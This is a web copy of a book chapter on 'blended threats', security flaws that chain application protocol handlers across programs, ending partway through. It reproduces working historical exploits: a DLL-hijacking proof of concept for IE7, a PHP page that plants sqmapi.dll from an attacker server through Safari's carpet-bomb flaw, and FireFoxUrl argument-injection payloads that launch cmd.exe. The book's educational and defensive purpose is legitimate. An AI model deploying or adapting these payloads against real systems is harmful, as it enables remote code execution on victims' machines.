O'Reilly logo

Hacking: The Next Generation by Brett Hardin, Billy Rios, Nitesh Dhanjani

Stay ahead with the world's most comprehensive technology and business learning platform.

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, tutorials, and more.

Start Free Trial

No credit card required

Chapter 4. Blended Threats: When Applications Exploit Each Other

The amount of software installed on a modern computer system is staggering. With so many different software packages on a single machine, managing their interactions becomes increasingly complex. Complexity is the friend of the next-generation hacker. The smartest attackers have developed techniques to take advantage of this complexity, creating blended attacks for blended threats. These blended attacks pit applications against each other, bypassing security protections and gaining access to your data. As security measures continue to increase and software becomes hardened against attacks, the next-generation hacker will turn to blended attacks to defeat security protections and gain access to your sensitive data. This chapter will expose the techniques attackers use to pit software against software. We will present various blended threats and attacks so that you can gain some insight as to how these attacks are executed and the thought process behind blended exploitation.

On May 30, 2008, Microsoft released a security advisory describing an attack against Windows systems. Normally, Microsoft security advisories are straightforward, identifying the Microsoft product affected, describing the risks associated with the identified vulnerability, and providing possible workarounds. This particular advisory was different. This advisory described an attack that involved the Safari web browser, which is made by Apple Inc., a competitor to Microsoft. Why would Microsoft release a security advisory for a competitor’s product? The advisory described an attack that affected Windows XP and Windows Vista users, but only after they had installed the Safari browser from Apple. This attack involved the simultaneous abuse of vulnerabilities in both the Safari browser and the Windows operating system, resulting in a single, high-risk attack against Windows users. Microsoft coined the term blended threat to describe this scenario.

Note

You can find the Microsoft security advisory that coined blended threat at http://www.microsoft.com/technet/security/advisory/953818.mspx.

Blended threats pit software against software. Modern software is complicated and extremely difficult to secure. Large, complicated software projects will inevitably have bugs and developers will be forced to make compromises between usability and security. Organizations that create large, complicated software manage the risk associated with possible vulnerabilities and insecure behavior by estimating the risk that a particular behavior or vulnerability presents. Higher-risk vulnerabilities receive urgent attention while low-risk behavior gets pushed lower in the priority queue. Blended threats take advantage of the subjectivity involved in this risk estimation. They take advantage of seemingly benign, low-risk behaviors of two (or more) separate pieces of software, combining them into a single, devastating attack. By picking and choosing which behaviors to use and the manner in which the behaviors are invoked, the attacker actually increases the attack surface of the entire system and increases the chances of successful exploitation.

How did blended threats against modern-day systems come to be? Blended threats are the unintended consequence of choice. The choice and ability of organizations to install a variety of software from a variety of vendors onto a single machine creates a breeding ground for blended threats and attacks. As the variety of software installed on a victim’s machine becomes increasingly diversified, the number of unanticipated interactions among the software also increases, which in turn increases the likelihood of blended vulnerabilities. Organizations that create software are free to set their own standards for what they consider “secure behavior.” The testing scenarios these organizations employ are typically extensive and cover a variety of attacks identified during a well-organized threat model. Rarely does an organization establish testing scenarios for interactions with external, third-party software. The behavior of the software created by one organization may be perfectly secure in isolation, but suddenly it becomes a security risk when placed in the ecosystem of software that exists on a user’s machine. Seemingly benign, low-risk vulnerabilities now become high-risk delivery mechanisms for vulnerability chains that lead to user exploitation. Some organizations have attempted to enumerate the possible interactions of other popular software that could be installed alongside their software, only to find that the scope and the security effort quickly balloon and become unwieldy. The reality of the situation is that it is impossible for a single organization to create a list of software that may be installed on a user’s machine. Combined with the subtle nature in which these blended attack vectors present themselves, most software organizations find themselves testing their software in isolation, ignoring the disparity of isolated testing against diverse, “real-world” deployment, and hoping for the best.

Application Protocol Handlers

Although several avenues can be used to target blended threats, one of the most fruitful paths involves application protocol handlers. Application protocol handlers can offer a great foundation for blended attacks. Virtually every operating system supports them, and some protocol handlers are used every day without the user even realizing it. With the assistance of the operating system, application protocol handlers create a bridge between two separate applications. When an application invokes a protocol handler it passes arguments to the operating system, which in turn calls the application registered by the protocol handler, passing the called application the arguments supplied by the calling application. Figure 4-1 provides a high-level description of how application protocol handlers work.

Protocol handling mechanisms
Figure 4-1. Protocol handling mechanisms

Application protocol handlers must be registered with the operating system before being called. This registration is typically done when the application is installed. Many pieces of software register application protocol handlers without the user realizing it. Once an application protocol handler is registered, any other application that supports application protocol handlers can launch the registered application via a protocol handler. One of the most popular methods of launching application protocol handlers is via the web browser, and nearly all web browsers support protocol handlers in some form.

Perhaps the best known application protocol handler is mailto://. Many websites offer the ability to create an email message from a web page if the user simply clicks on a hyperlink that references the mailto:// protocol handler. The following example shows how the browser can invoke a protocol handler. Although the example is not a vulnerability per se, it does show how attackers use protocol handlers in normal scenarios. The example starts with the user browsing to a page that has a hyperlink that references the mailto:// protocol handler. Figure 4-2 shows the page as rendered by Internet Explorer.

Here is the HTML for the page shown in Figure 4-2:

<html>
<title>
Mailto Protocol Handler Example
</title>
<body>
<a href="mailto:netgenhacker@attacker.com?
    body=Mailto protocol handler example.">
Send a mail!
</a>
</body>
</html>
Mailto:// link
Figure 4-2. Mailto:// link

When the user clicks on the hyperlink, the browser will pass the entire mailto:// link (mailto:netgenhacker@attacker.com?body=Mailto protocol handler example) to the operating system, which will identify and then launch the application program associated with the mailto:// protocol handler, passing it the arguments provided by the hyperlink. In this example, the netgenhacker@attacker.com?body=Mailto protocol handler example string is passed to the application registered to the mailto:// protocol handler (in this example, outlook.exe). Figure 4-3 shows mailto:// in action.

Mailto:// link launching outlook.exe
Figure 4-3. Mailto:// link launching outlook.exe

As shown in Figure 4-3, once the user has clicked on the mailto:// hyperlink, the application associated with the mailto:// protocol handler (Microsoft Outlook) is launched and the user-supplied arguments are passed to the mail application. This is a simple example of how protocol handlers work. Although each operating system uses different APIs and methods of registering protocol handlers, the examples and descriptions we just provided hold true for protocol handling mechanisms for all operating systems. We will dive deeper into the technical specifics regarding how each operating system registers and executes protocol handlers later in this chapter, but for now it is important to see that the protocol handler used in the mailto:// example has created a bridge between the browser and the mail application. The user simply clicks on a link to execute the protocol handler; using JavaScript or frames, an attacker can launch protocol handlers without user interaction.

As protocol handlers provide such a great opportunity for “bridging” two different applications together, enumerating all the protocol handlers on a system can prove to be extremely valuable for an attacker. Once the protocol handlers installed on a particular machine are enumerated, each application can be individually analyzed and targeted.

Note

Launching a registered protocol handler under various circumstances will help an attacker analyze how an application behaves when it is launched from a protocol handler. The way in which an application handles file creation, file deletion, file modification, caching, establishing network connections, and script and command execution is especially interesting to an attacker.

Once the attacker notes the actions resulting from the protocol handler, she must put the protocol handler’s capabilities into context. For example, if an application that registers the protocol handler creates a file on the local filesystem and the registered protocol handler can be invoked from the browser, this means the browser now can create a file on the local filesystem. If the browser can invoke the protocol handler, the attacker can provide a web page that references the protocol handler. The attacker must be mindful that behavior that may be perfectly fine for a local application to exhibit may not be secure when invoked remotely via a protocol handler.

Note

Due to the dangers associated with application protocol handlers, some browsers have elected to present a warning when application protocol handlers are launched. The user now has the option to select whether the protocol handler should be executed. However, some applications can programmatically remove this warning through the setting of certain registry values.

Finding Protocol Handlers on Windows

In Windows, applications can register a protocol handler by writing to the HKEY_CLASSES_ROOT registry key. In this example, we will examine the mailto:// protocol handler. Email applications register the mailto:// protocol handler by creating a “mailto” entry within the HKEY_CLASSES_ROOT registry key. Within the mailto registry key, the application can register DefaultIcon and shell registry keys. Within the shell registry key, the application specifies the open and command registry keys to be executed. Figure 4-4 shows the hierarchy. You can examine the registry keys by using the regedit.exe command with administrative privileges.

Protocol handling hierarchy
Figure 4-4. Protocol handling hierarchy

Once the proper registry keys are defined, the application defines the command to be executed when the protocol handler is referenced by setting a value for the command registry key. In this example, Microsoft Outlook has registered the mailto:// protocol handler by setting the command registry key in the manner shown in Figure 4-5.

Protocol handling registration registry key
Figure 4-5. Protocol handling registration registry key

The registry key shown in Figure 4-5 instructs the Windows operating system to execute the following command when the mailto:// protocol handler is invoked:

 C:\PROGRA~1\MICROS~1\Office12\OUTLOOK.EXE -c IPM.Note /m "%1"

Note that the command ends with %1 character sequence. The %1 represents arguments passed via the protocol handler and can typically be controlled by the attacker. For example, if a user browses to a web page and encounters a hyperlink to and clicks the hyperlink, the mailto:// protocol handler is passed to the operating system and the operating system maps the request to the string specified in the command registry key, which is passed to the ShellExecute Windows API. The final string is passed to the ShellExecute API as shown in Figure 4-6.

Attacker-controlled arguments
Figure 4-6. Attacker-controlled arguments

Note

You can find additional information related to MSDN application protocol handlers at the following URL: http://msdn.microsoft.com/en-us/library/aa767914(VS.85).aspx.

Manually searching through the registry for protocol handlers can be tedious and time-consuming. Instead of manually searching through the registry, an attacker can use a simple Visual Basic script which will crawl the registry on her behalf, searching for registered application protocol handlers. Once application protocol handlers are discovered, the script will extract the necessary information to begin security analysis. This analysis is done on the attacker’s machine, but one can assume that protocol handlers associated with an individual software installation will be found on other systems that have that same software package installed. Here is the Visual Basic script source for a program named Dump URL Handlers (DUH), which an attacker can use to enumerate the application protocol handlers on a system:

' Dump URL Handlers (DUH!)
' enumerates all the URL handlers registed on the system

' This command executes the script
' cscript.exe //Nologo DUH.vbs
'
' satebac

On Error Resume Next
Const HKCR = &H80000000
Dim wsh
Dim comment
Dim command
Dim isHandler

set wsh = WScript.CreateObject("WScript.Shell")
Set oReg = GetObject("winmgmts:{impersonationLevel=impersonate}
    !\\.\root\default:StdRegProv")

ret = oReg.EnumKey(HKCR, "/", arrSubKeys)

if ret<>0 Then
    ret = oReg.EnumKey(HKCR, "", arrSubKeys)
end if

if ret=0 and IsArray(arrSubKeys) Then

    For Each subkey In arrSubKeys
        isHandler = wsh.RegRead("HKCR\" & subkey & "\URL Protocol")
        if Err=0 Then
            comment = wsh.RegRead("HKCR\" & subkey & "\")
            command = wsh.RegRead("HKCR\" & subkey & "\shell\open\command\")
            Wscript.Echo subkey & Chr(&H09) & comment & Chr(&H09) & command
        else
            Err = 0
        end if
    Next

else
    WScript.Echo "An error occurred ret="
            & ret & " err=" & Err & " " & IsArray(arrSubKeys)
    WScript.Echo "Look for the ret code in winerror.h"
end if

Note

Erik Cabetas originally created the Dump URL Handlers script, and we (the authors of this book) modified it to include additional information related to protocol handlers. You can find the original version of DUH.vbs at http://erik.cabetas.com/stuff/lameware/DUH.vbs.

The DUH.vbs program can be executed by using cscript.exe, which is built into most default Windows installations. Here is an example of how to use the DUH.vbs program:

C:\> cscript.exe DUH.vbs > uri.txt

The preceding command will enumerate all the application protocol handlers in the registry and write them to a file. Figure 4-7 shows a sampling of the output from the DUH.vbs script.

Windows protocol handlers
Figure 4-7. Windows protocol handlers

As shown in Figure 4-7, the DUH.vbs script output identifies each application protocol handler registered on the machine. The script also provides the name and the command that is executed when the application protocol handler is invoked.

Note

In addition to application protocol handlers, Windows-based systems also support asynchronous pluggable protocol handlers. Asynchronous pluggable protocol handlers are more complicated and we do not cover them in this chapter. You can find more information on asynchronous pluggable protocol handlers at http://msdn.microsoft.com/en-us/library/aa767743(VS.85).aspx.

Finding Protocol Handlers on Mac OS X

Protocol handlers on the Mac are similar to those on Windows-based machines. Various applications, including browsers, can invoke protocol handlers on the Mac. Once a protocol handler is invoked, the operating system provides a mapping between the protocol handler and the application registered with it. Any application can register a protocol handler on Mac OS X by using a program such as RCDefaultApp, or by utilizing the appropriate OS X CoreFoundation APIs. Users wishing to view all of the registered protocol handlers on their Mac OS X machine can use the following program:

/*
 * Compile on Tiger:

   cc LogURLHandlers.c -o logurls -framework
        CoreFoundation -framework ApplicationServices

   or on Leopard:

   cc LogURLHandlers.c -o logurls -framework
        CoreFoundation -framework CoreServices
*/

#include <stdio.h>
#include <AvailabilityMacros.h>
#include <CoreFoundation/CoreFoundation.h>

#if !defined(MAC_OS_X_VERSION_10_5) ||
    MAC_OS_X_VERSION_MAX_ALLOWED < MAC_OS_X_VERSION_10_5

#include <ApplicationServices/ApplicationServices.h>
#else
#include <CoreServices/CoreServices.h>
#endif

/* Private Apple API... helpful for enumerating. */
extern OSStatus _LSCopySchemesAndHandlerURLs
    (CFArrayRef *outSchemes, CFArrayRef *outApps);

static void GetBuf(CFStringRef string, char *buffer, int bufsize)
{
    if (string == NULL)
        buffer[0] = '\0';
    else
        CFStringGetCString(string, buffer, bufsize, kCFStringEncodingUTF8);
}

int main()
{
    CFMutableArrayRef apps;
    CFMutableArrayRef schemes;
    int i;

    printf("URL Name                  App (Current Path)\n");

    _LSCopySchemesAndHandlerURLs(&schemes, &apps);

    CFArraySortValues(schemes, CFArrayGetCount(schemes),
        *CFStringCompare, null);

    for (i=0; i< CFArrayGetCount(schemes); i++)
    {
        CFStringRef scheme = (CFStringRef) CFArrayGetValueAtIndex(schemes, i);
        CFURLRef appURL = (CFURLRef) CFArrayGetValueAtIndex(apps, i);
        CFStringRef appName;
        CFStringRef appURLString =
        CFURLCopyFileSystemPath(appURL, kCFURLPOSIXPathStyle);

        char schemeBuf[100];
        char nameBuf[300];
        char urlBuf[2048];

        LSCopyDisplayNameForURL(appURL, &appName);

        GetBuf(scheme, schemeBuf, sizeof(schemeBuf));
        GetBuf(appURLString, urlBuf, sizeof(urlBuf));
        GetBuf(appName, nameBuf, sizeof(nameBuf));

        printf("%-25s %s (%s)\n", schemeBuf, nameBuf, urlBuf);

        if (appURLString != NULL)
            CFRelease(appURLString);
        if (appName != NULL)
            CFRelease(appName);
    }

    CFRelease(apps);
    CFRelease(schemes);

    exit(0);
    return 0;
}

When the provided application is compiled and executed, it will offer output similar to that shown in Figure 4-8.

OS X protocol handlers
Figure 4-8. OS X protocol handlers

The output from the DUHforMac application shows the protocol handler name as well as the application mapped to that particular protocol handler. For example, using the output shown in Figure 4-8, the attacker can see that the ichat:// protocol handler is associated with the iChat application located at /Applications/iChat.app. Much like Windows systems, when an OS X application (such as Safari) calls the ichat://args protocol handler, the protocol handler and the args value are passed to the operating system. OS X determines which application is mapped to the invoked protocol handler and invokes that application, supplying the user-controlled args value to the invoked application. Ultimately, the following is executed on OS X:

/Applications/iChat.app ichat://args

Note

For more information on APIs associated with OS X application protocol handlers, visit the following URL: http://developer.apple.com/DOCUMENTATION/Carbon/Reference/LaunchServicesReference/Reference/reference.html

Finding Protocol Handlers on Linux

In addition to Windows and OS X systems, protocol handlers are also (surprisingly) supported on Linux machines. Although different flavors of Linux have slightly different APIs and methods of registering application protocol handlers, the underlying process of protocol handler execution remains the same. Applications can invoke protocol handlers in Linux, which are passed to the operating system. The operating system determines the appropriate application mapped to the called protocol handler and invokes that application, passing any user-supplied arguments. In Ubuntu Linux systems, you can find protocol handlers from GConf under /desktop/gnome/url-handlers. Here is a list of protocol handlers that are typically found on Linux systems:

/usr/libexec/evolution-webcal %s
/usr/libexec/gnome-cdda-handler %s
ekiga -c "%s"
evolution %s
gaim-remote uri "%s"
gaim-url-handler "%s"
gnome-help "%s"
gnomemeeting -c %s
mutt %s
nautilus "%s"
purple-url-handler "%s"
sound-juicer %s
sylpheed --compose %s
tomboy --open-note '%s'
totem "%s"
xchat --existing --url=%s
xchat-gnome --existing --url=%s

Much like protocol handlers in Windows and OS X, each protocol handler in Linux ultimately invokes an application with attacker-supplied arguments. For example, using the preceding list of protocol handlers, we see that when the xchat://attacker-supplied-value protocol handler is invoked the operating system executes the following:

xchat -existing -url=xchat://attacker-supplied-value

If any of the applications that have registered a protocol handler have a locally exploitable security flaw, that flaw may now be remotely accessible. The following script enumerates all the registered application protocol handlers on Ubuntu operating systems, giving the attacker an excellent starting point for developing client-side and blended attacks against Ubuntu systems:

#!/bin/bash
gconftool-2 /desktop/gnome/url-handlers --all-dirs |
    cut --delimiter=/ -f 5 | while read line;

do {
gconftool-2 /desktop/gnome/url-handlers/$line -a |
    grep -i     'command' | cut --delimiter== -f 2 | while read line2;

do {
    echo "$line                     $line2"
} done

} done

Blended Attacks

Now that we’ve discussed some techniques for identifying the protocol handlers for each operating system, we will demonstrate how protocol handlers have been used in blended attacks. Why are blended threats so effective? Typically, well-written, secure software is designed with certain threats in mind. These threats are normally defined during a threat model. Threat models are typically done in isolation, considering the consequences of direct attacks against the software being created. In an attempt to keep the threat model (and subsequent security effort) manageable, certain security assumptions are made and some threats are considered out of scope. For example, many threat models consider attacks in which the attacker already has the ability to write to the filesystem out of scope and ignore defenses against those attacks. This is where blended threats have the most impact. Blended threats take advantage of weaknesses in two (or more) different pieces of software to compromise or steal data from a victim’s system. Modern-day information systems are not homogeneous systems consisting of software from a single organization. Instead, systems are heterogeneous, consisting of software from various (many times, competing) publishers and organizations. This myriad software on our systems creates a web of interaction among numerous pieces of software that the attacker focuses on in blended attacks. Although blended attacks exist in many forms, the examples in the following sections provide some technical insight into how they are developed and executed. These examples provide the foundation for other blended attacks.

The Classic Blended Attack: Safari’s Carpet Bomb

In December 2006, security researcher Aviv Raff posted proof-of-concept code for some surprising Internet Explorer 7 behavior. When an instance of Internet Explorer was started, it would search for various dynamic link libraries (DLLs) from various file paths to be loaded by Internet Explorer. One of the locations that was searched was the user’s desktop. In default installations, Internet Explorer 7 would attempt to load sqmapi.dll, imageres.dll, and schannel.dll from various locations, including the user’s desktop. If an attacker were to place a DLL named sqmapi.dll, imageres.dll, or schannel.dll into the user’s desktop, Internet Explorer 7 would load that DLL when launched and would execute the code contained within the attacker-supplied DLL. Taken in isolation, this issue appears to be a low risk to Internet Explorer users. An attacker had to find a method to gain write access to the user’s desktop, place a DLL file with the correct name onto the desktop, control the contents of the DLL placed onto the desktop, and launch the Internet Explorer executable. Under normal circumstances, if the attacker had write access to the victim’s filesystem or had the ability to run an executable, she would already be able to compromise the victim’s machine using other, simpler methods and would have no need to use such a convoluted technique. Despite the seemingly low risk of the DLL loading behavior of IE7, Raff posted the following source code to a proof-of-concept DLL:

/*
        Copyright (C) 2006-2007 Aviv Raff
        http://aviv.raffon.net
        Greetz: hdm, L.M.H, str0ke, SkyLined

        Compile and upload to the victim's desktop as one of
        the following hidden DLL files:
        - sqmapi.dll
        - imageres.dll
        - schannel.dll

        Run IE7 and watch the nice calculators pop up.
        Filter fdwReason to execute only once.

        Tested on WinXP SP2 with fully patched IE7.
        For testing/educational purpose only!

*/


#include <windows.h>

BOOL WINAPI DllMain(
  HINSTANCE hinstDLL,
  DWORD fdwReason,
  LPVOID lpvReserved
)
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    TCHAR windir[_MAX_PATH];
    TCHAR cmd[ _MAX_PATH ];
    GetEnvironmentVariable("WINDIR",windir,_MAX_PATH );
    wsprintf(cmd,"%s\\system32\\calc.exe",windir);
    ZeroMemory(&si,sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi,sizeof(pi));
    CreateProcess(NULL,cmd,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return TRUE;
}

Nearly two years after Raff posted this proof of concept for Internet Explorer’s curious DLL loading behavior, security researcher Nitesh Dhanjani (one of the authors of this book) discovered surprising behavior in the Safari web browser. Dhanjani realized that when Safari encountered an unknown content type, it downloaded the contents of the file to the user’s local filesystem without any consent from the user. On OS X-based systems, the default location was ~/Downloads. For Windows-based systems, the default location for the download was the user’s desktop. Dhanjani first reported the surprising behavior to Apple in May 2008. Dhanjani demonstrated that under certain circumstances, an attacker could “carpet bomb” a user’s desktop with arbitrary files (including executable files) without the user’s consent. Figure 4-9 shows a screenshot of the proof of concept shown to Apple.

After careful investigation, Apple concluded that its products were not immediately at risk from this behavior. The Safari browser had security mechanisms that helped protect users from immediate exploitation of this vulnerability. Although an attacker could place arbitrary files on the user’s desktop, Safari did not offer a reliable way to execute that file. Apple understood that without a reliable method to execute the downloaded file, an attacker could not compromise a user’s system using the reported vulnerability. Apple also realized that if an attacker already had the ability to execute applications from a victim’s filesystem, the attacker would most likely not need to use Safari’s strange caching/download behavior. Much like the Internet Explorer vulnerability discovered by Raff, Apple determined that taken in isolation, the issue discovered by Dhanjani represented a low risk to Safari users. Here is the source code for a Perl script that initiates a file download:

#!/usr/bin/perl

print "content-disposition: attachment; filename=CarpetBomb.exe\n";
print "Content-type: blah/blah\n\n";

<EXE Contents>
Safari carpet bomb
Figure 4-9. Safari carpet bomb

With the two seemingly low-risk vulnerabilities being discussed in public forums, Raff combined the two low-risk vulnerabilities into a single high-risk attack against Safari users on Windows platforms. Despite the low risk of each individual attack, when used together the attacks resulted in a remote command execution vulnerability that gave the attacker full access to user data and resources. Raff understood that once a victim using the Safari browser visited his page, he could plant a malicious DLL file onto the victim’s local filesystem using the Safari carpet bomb vulnerability. As Raff mentioned in his advisory, when Internet Explorer 7 is launched, it searches the victim’s desktop for various DLLs: sqmapi.dll, imageres.dll, and schannel.dll. With this in mind, the attacker uses the source code provided by Raff and creates a malicious DLL named sqmapi.dll. When a web server serves the DLL, Safari cannot recognize the content type associated with the DLL, so the contents of the DLL file are downloaded to the victim’s desktop without any user interaction. The attacker now has a malicious version of sqmapi.dll on the victim’s desktop. Once sqmapi.dll is placed on the victim’s desktop, the attacker must find a way to launch Internet Explorer through Safari. Once Internet Explorer is launched, it will load the malicious DLL and execute the attacker’s code. Raff understood that the gopher:// protocol handler is mapped to the Internet Explorer executable in the following manner:

Gopher    URL:Gopher Protocol
    "C:\Program Files\Internet Explorer\iexplorer.exe" -home

Raff also realized that once the malicious DLL had been planted onto the victim’s desktop through Safari’s carpet bomb vulnerability, he could immediately invoke the gopher:// protocol handler. Once the gopher:// protocol handler is invoked, Safari will pass the protocol handler to the operating system, which will launch an instance of Internet Explorer 7. Once Internet Explorer 7 is launched, it will search the victim’s desktop for the malicious DLL. Finding the attacker-supplied DLL on the victim’s desktop, Internet Explorer 7 will load and execute the code within the malicious DLL. Each step is executed immediately and without user interaction. In this example, the malicious DLL simply contains code to launch c:\windows\system32\calc.exe, but an attacker could easily modify the source to launch any command with the same permissions as the victim.

Note

The Gopher protocol is a network protocol that was designed for document retrieval and search capabilities. The popularity of the Gopher protocol has declined sharply since the advent of HTTP. You can find more information on the Gopher protocol at http://en.wikipedia.org/wiki/Gopher_(protocol).

Here is the PHP source code required to generate a page that exploits this vulnerability:

<?php

// Payload for vulnerable versions of Safari
$carpetbombHTML = "<html><head><META http-equiv='refresh'
content='5;URL=gopher://carpetbomb'></head><body>
<iframe src='http://attacker-server/carpetbomb/sqmapi.dll'></iframe>
</body></html>";

// Payload so patched/non Safari browsers won't see the attack
$notvulnHTML = "<html><head><META http-equiv='refresh'
content='5;URL=http://www.google.com/search?hl=en&q=carpet+bomb+safari
&btnG=Search'></head>
<body>Nothing to see here... move along...</body></html>";

//Check to see if the victim is using Safari
if(agent('Safari') != FALSE) {

    // Check to see if the victim is using Safari on Windows
    if(os('Windows') != FALSE){

    // Check to see if the victim is using a vulnerable version of Safari
    if (preg_match("/version.*[[:space:]]/i",
            $_SERVER['HTTP_USER_AGENT'], $versioninfo)) {
    $version = substr($versioninfo[0],8,13);
    $version2 = explode('.', $version,3);

        if($version2[0] < 3){
            echo $carpetbombHTML;
        }
        elseif(($version2[0] == 3) &&
                ($version2[1] < 1)){
            echo $carpetbombHTML;
        }
        elseif(($version2[0] == 3) && ($version2[1] == 1) &&
                ($version2[2] < 2)){
            echo $carpetbombHTML;
        }
        else{
            //not vulnerable :(
            echo $notvulnHTML;
        }
    }
    }
}


function agent($browser) {
$useragent = $_SERVER['HTTP_USER_AGENT'];
return strstr($useragent, $browser);
}

function os($opersys) {
$oper = $_SERVER['HTTP_USER_AGENT'];
return strstr($oper, $opersys);
}

?>

Note

Apple released a patch for its Safari browser that prevents exploitation of the carpet bomb vulnerability. If a user upgrades to Safari version 3.1.2 or later, the user will not be affected by the carpet bomb vulnerability.

The FireFoxUrl Application Protocol Handler

Many users prefer to have multiple browsers on their machines. The two most popular browsers currently on the market are Internet Explorer and Mozilla Firefox. When users installed Firefox 2.0 on a Windows-based machine, Firefox registered the FireFoxUrl:// application protocol handler. Examining the output from DUH.vbs, you can see that the FireFoxUrl:// application protocol handler is registered to the Firefox.exe application in the following way:

firefoxURL    Firefox URL
    "C:\Program Files\Mozilla Firefox\firefox.exe"
    -url "%1" -requestPending

The manner in which Firefox registered this protocol handler allowed attackers to inject arbitrary command-line arguments. However, due to various protections associated with the Firefox browser, an attacker could not use Firefox to inject command-line arguments against itself (the Firefox executable). So, taken in isolation, although registering the FireFoxUrl:// protocol handler created a seemingly insecure behavior, Firefox browsers seemed to be protected against abuse of FireFoxUrl://. What Mozilla did not anticipate was the possibility that other third-party software could invoke FireFoxUrl:// and take advantage of the manner in which FireFoxUrl:// was registered.

In this case, Internet Explorer was that third-party software that allowed for the abuse of the FireFoxUrl:// protocol handler. Internet Explorer 7 allowed for the invocation of arbitrary protocol handlers without warning. Additionally, Internet Explorer 7 did not encode special characters passed via the protocol handler, making the injection of arbitrary command-line arguments possible via FireFoxUrl://. This created a situation in which if the user had installed the Firefox browser but happened to be browsing the Internet with Internet Explorer, an attacker-controlled page could cause Internet Explorer to invoke the FireFoxUrl:// protocol handler without user consent or warning. Internet Explorer would pass the protocol handler and any attacker-supplied arguments to the operating system. The operating system would then determine which application was mapped to the protocol handler (Firefox.exe) and would launch Firefox.exe in the following manner:

"C:\Program Files\Mozilla Firefox\firefox.exe"
    -url "attacker-controlled" -requestPending

Considering that the attacker controls the value for %1 (the attacker-controlled string shown in the preceding example) being passed via the protocol handler, and that Firefox didn’t have specific logic to prevent the injection of additional command-line arguments from the protocol handler, the attacker is free to inject any command-line flags for execution by Firefox.exe. This attack is very similar to a traditional SQL injection attack, where the attacker closes off one argument and inject an unintended argument. Firefox 2 supported the following command-line arguments:

-chrome                      //Executes chrome
-new-window                  //Opens the URL in a new Firefox browser window
-CreateProfile               //Creates a profile
-Console                     //Opens the error console
-jsConsole                   //Opens the JavaScript Console
-install-global-extension    //Installs a global extension (XPI)
-safe-mode                   //Launches Firefox in Safe Mode

Note

Visit https://developer.mozilla.org/En/Command_Line_Options for more information on Firefox-supported command-line arguments.

Knowing that Firefox registers the FireFoxUrl:// application protocol handler and having enumerated the various command-line arguments supported by Firefox, the attacker can now craft client-side code that will abuse these supported arguments through the protocol handler. For example, an attacker could craft the following HTML, which abuses the -new-window argument:

<html>
<body>
<iframe src="firefoxurl:test|\"%20-new-window%20javascript:
    alert('Cross%2520Browser%2520Scripting!');\"">
</iframe>
</body>
</html>

When Internet Explorer (and various other browsers) encountered the HTML in the preceding code sample, it launched the FireFoxUrl:// application protocol handler and passed the protocol handler and associated arguments to the operating system, which would determine that the FireFoxUrl:// protocol handler was mapped to Firefox.exe. Ultimately, the operating system executed the following:

"C:\Program Files\Mozilla Firefox\firefox.exe"
    -url "firefoxurl:test|"%20-new-window%20javascript:
    alert('Cross%2520Browser%2520Scripting!');\"" -requestPending

Here is a breakdown of exactly what was executed:

"C:\Program Files\Mozilla Firefox\firefox.exe"
-url "firefoxurl:test|"
-new-window javascript:alert('Cross Browser Scripting!');
""
-requestPending

Using the FireFoxUrl:// protocol handler, the attacker closed off the -url command-line argument, injected a new command-line argument (-new-window), and crafted a string to make the remainder of the command line valid and well formed. In the preceding example, the attacker initiated a cross-site scripting (XSS) vulnerability. The XSS vulnerability is launched if the user browses the attacker-controlled page with Internet Explorer, but also happens to have the Firefox web browser installed. This type of XSS vulnerability is known as a universal XSS vulnerability as it simply relies on the fact that the victim has Firefox installed and does not depend on a specific application-level flaw.

The preceding example is a simple example of how arbitrary command-line injection works with the FireFoxUrl:// protocol handler. The next example relies on the same principles, but delivers a payload that has much more impact, resulting in remote command execution on the victim’s machine. Here is the HTML source for the remote command execution exploit:

<html>
<body>
<iframe src= "firefoxurl:test\" -chrome \"javascript:
C=Components.classes;I=Components.interfaces;
file=C[&#39;@mozilla.org/file/local;1&#39;]
.createInstance(I.nsILocalFile);
file.initWithPath(&#39;C:&#39;+String.fromCharCode(92)+
String.fromCharCode(92)+&#39;Windows&#39;+
String.fromCharCode(92)+String.fromCharCode(92)+
&#39;System32&#39;+String.fromCharCode(92)+String.fromCharCode(92)+
&#39;cmd.exe&#39;);
process=C[&#39;@mozilla.org/process/util;1&#39;]
.createInstance(I.nsIProcess);
process.init(file);process.run(true%252c{}%252c0);alert(process)">
</iframe>
</body>
</html>

Now, the preceding example seems to be more complicated than the universal XSS example, but the foundations for the attack are identical. Once again, FireFoxUrl:// provides an opportunity to inject arbitrary command-line arguments. In this example, the attacker injects the -chrome command-line argument. The -chrome argument allows the attacker to execute a chrome URL. In this case, the attacker supplies a JavaScript URL. When JavaScript is executed in the context of -chrome, it has special privileges, including the ability to read, write, and execute arbitrary commands from the local filesystem. When Internet Explorer renders the preceding HTML, the protocol handler is passed to the operating system and the operating system executes the following:

"C:\Program Files\Mozilla Firefox\firefox.exe"
-url "firefoxurl:test" -chrome "javascript:
C=Components.classes;I=Components.interfaces;
file=C[&#39;@mozilla.org/file/local;1&#39;]
.createInstance(I.nsILocalFile);file.initWithPath(&#39;C:&#39;+
String.fromCharCode(92)+String.fromCharCode(92)+&#39;Windows&#39;+
String.fromCharCode(92)+String.fromCharCode(92)+&#39;System32&#39;+
String.fromCharCode(92)+String.fromCharCode(92)+&#39;cmd.exe&#39;);
process=C[&#39;@mozilla.org/process/util;1&#39;]
.createInstance(I.nsIProcess);
process.init(file);process.run(true%252c{}%252c0);
alert(process)" -requestPending

Here is a breakdown of exactly what was executed:

"C:\Program Files\Mozilla Firefox\Firefox.exe"
-url "firefoxurl:test"

-chrome "javascript:C=Components.classes;I=Components.interfaces;
file=C[&#39;@mozilla.org/file/local;1&#39;]
    .createInstance(I.nsILocalFile);

file.initWithPath(&#39;C:&#39;+String.fromCharCode(92)+
    String.fromCharCode(92)+&#39;Windows&#39;+String.fromCharCode(92)+
    String.fromCharCode(92)+&#39;System32&#39;+String.fromCharCode(92)+
    String.fromCharCode(92)+&#39;cmd.exe&#39;);

process=C[&#39;@mozilla.org/process/util;1&#39;]
    .createInstance(I.nsIProcess);

process.init(file);process.run(true%252c{}%252c0);"

-requestPending

The JavaScript payload passed to -chrome has various encoding schemes applied to satisfy JavaScript and Chrome syntax requirements. Here is an unencoded version:

javascript:C=Components.classes;
I=Components.interfaces;
file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);
file.initWithPath('C:/Windows/System32/cmd.exe');
